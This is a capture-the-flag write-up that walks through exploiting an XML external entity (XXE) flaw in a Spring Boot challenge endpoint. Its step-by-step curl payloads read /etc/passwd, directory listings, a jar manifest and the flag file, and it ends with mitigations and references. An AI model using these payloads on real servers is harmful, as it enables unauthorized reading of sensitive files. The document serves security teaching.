Overview
The challenge presents a “RELIC SOCIETY” web application with a form that submits a user_id to /fetch_user as raw XML (Content-Type: application/xml). The goal is to exploit the XML parsing to read files on the server and retrieve the flag.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
The notes use curl directly; payloads containing <!DOCTYPE were sent via heredocs to avoid shell history-expansion mangling. No external wordlists or credentials are required.
Recon
Step 1 — Fetch the root page and inspect the form
Goal: Confirm the submission endpoint and that user input is sent as raw XML.
curl -i "$TARGET/"
<form id="user-form">
<label for="user_id">User ID:</label>
<input type="text" id="user_id" name="user_id" required />
<button type="submit">Fetch Data</button>
</form>
Interpretation: The page posts a user_id to /fetch_user; the JavaScript wraps it in XML. Server-side XML parsing is confirmed by the Content-Type: application/xml header.
Enumeration
Step 2 — Confirm baseline behavior with a benign ID
Goal: Verify the endpoint reflects the supplied <id> back in the response — the prerequisite for reflected XXE.
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<request><id>1</id></request>'
<user><id>45905544</id><name>Mkenya Halisi</name><phone_number>254797000111</phone_number><balance>17000.00</balance></user>
Interpretation: The supplied <id> is echoed inside <user><id>...</id>, so any entity we inject into <id> will be reflected — the classic XXE feedback channel.
Step 3 — Confirm XXE with an internal entity
Goal: Prove the server resolves DOCTYPE entity declarations.
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe "test">
]>
<request><id>&xxe;</id></request>'
<user><id>test</id>...</user>
Interpretation: The parser processes DOCTYPE declarations and resolves custom entities; DTDs are not disabled.
Step 4 — Local file disclosure via a SYSTEM entity
Goal: Read /etc/passwd to confirm arbitrary local file disclosure.
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request><id>&xxe;</id></request>'
Response: contents of /etc/passwd, revealing a ctfuser account — the app runs as this user.
Step 5 — Fingerprint the backend
Goal: Identify the application stack so we know what file-read primitives are available.
Read /etc/hosts to get the container hostname:
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<request><id>&xxe;</id></request>'
172[.]16[.]23[.]2 3220a061dd56
List the current working directory (libxml2 returns a directory listing for file:// URIs pointed at a directory):
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "file:///proc/self/cwd/">
]>
<request><id>&xxe;</id></request>'
.bash_logout
.bashrc
.profile
app.jar
Read the jar manifest and application.properties:
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "jar:file:///home/ctfuser/app.jar!/META-INF/MANIFEST.MF">
]>
<request><id>&xxe;</id></request>'
Start-Class: com.labs.xxe.XxeApplication
Spring-Boot-Version: 3.3.6
Interpretation: The backend is a Java/Spring Boot application (com.labs.xxe.XxeApplication, Spring Boot 3.3.6), purpose-built around XXE (spring.application.name=xxe). Deeper RCE/deserialization chains were ruled out — the intended solve path is file read.
Step 6 — Enumerate the filesystem root
Goal: List / to locate the planted flag file.
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "file:///">
]>
<request><id>&xxe;</id></request>'
__cacert_entrypoint.sh
.dockerenv
.rock
bin
boot
dev
etc
flag8b9d5b8e264a.txt
home
lib
...
Interpretation: The flag file sits directly at /, named flag8b9d5b8e264a.txt.
Vulnerability Analysis
The underlying flaw is XXE (CWE-611: Improper Restriction of XML External Entity Reference). It is exploitable here because the attacker controls the full XML document, the parser resolves external entities, and the reflected <id> field returns entity content to the attacker.
Exploitation
Step 7 — Read the flag file
Goal: Retrieve the flag from /flag8b9d5b8e264a.txt.
curl -s -X POST "$TARGET/fetch_user" \
-H "Content-Type: application/xml" \
--data '<?xml version="1.0"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "file:///flag8b9d5b8e264a.txt">
]>
<request><id>&xxe;</id></request>'
<user><id>safctf{REDACTED}
</id><name></name><phone_number></phone_number><balance></balance></user>
Interpretation: The flag is reflected inside the <id> element, completing the solve.
Flag
safctf{REDACTED}
Obtained by reading /flag8b9d5b8e264a.txt via the XXE SYSTEM entity and reflecting it through the <id> field.
Dead Ends
Lessons / Takeaways
- A reflected field (
<id>) echoes injected entity content — test for XXE as soon as raw XML is accepted. file://URIs pointed at directories can return listings on some parsers (libxml2 quirk), turning file read into directory enumeration.- The
jar:file:///scheme reads text resources inside archives, useful for fingerprinting an unknown backend. - Don’t assume the stack:
/proc/self/cwd/and jar manifests revealed Java/Spring Boot where Python was initially suspected.
Mitigations
- Disable DTD processing entirely on the XML parser/factory (
disallow-doctype-decl,FEATURE_SECURE_PROCESSING, or Jackson’sXMLInputFactorywithSUPPORT_DTDdisabled). - Prefer JSON over XML for user-supplied structured input, or use a non-validating parser that cannot resolve external entities.
- Run the application as a low-privilege user inside a container with a minimal filesystem view to limit blast radius from any file-read primitive.
Techniques
- XXE
- XML External Entity
References
- OWASP, “XML External Entity (XXE) Processing”: https://owasp.org/www-community/vulnerabilities/xml_external_entity_(XXE)_processing
- CWE-611: Improper Restriction of XML External Entity Reference: https://cwe.mitre.org/data/definitions/611.html

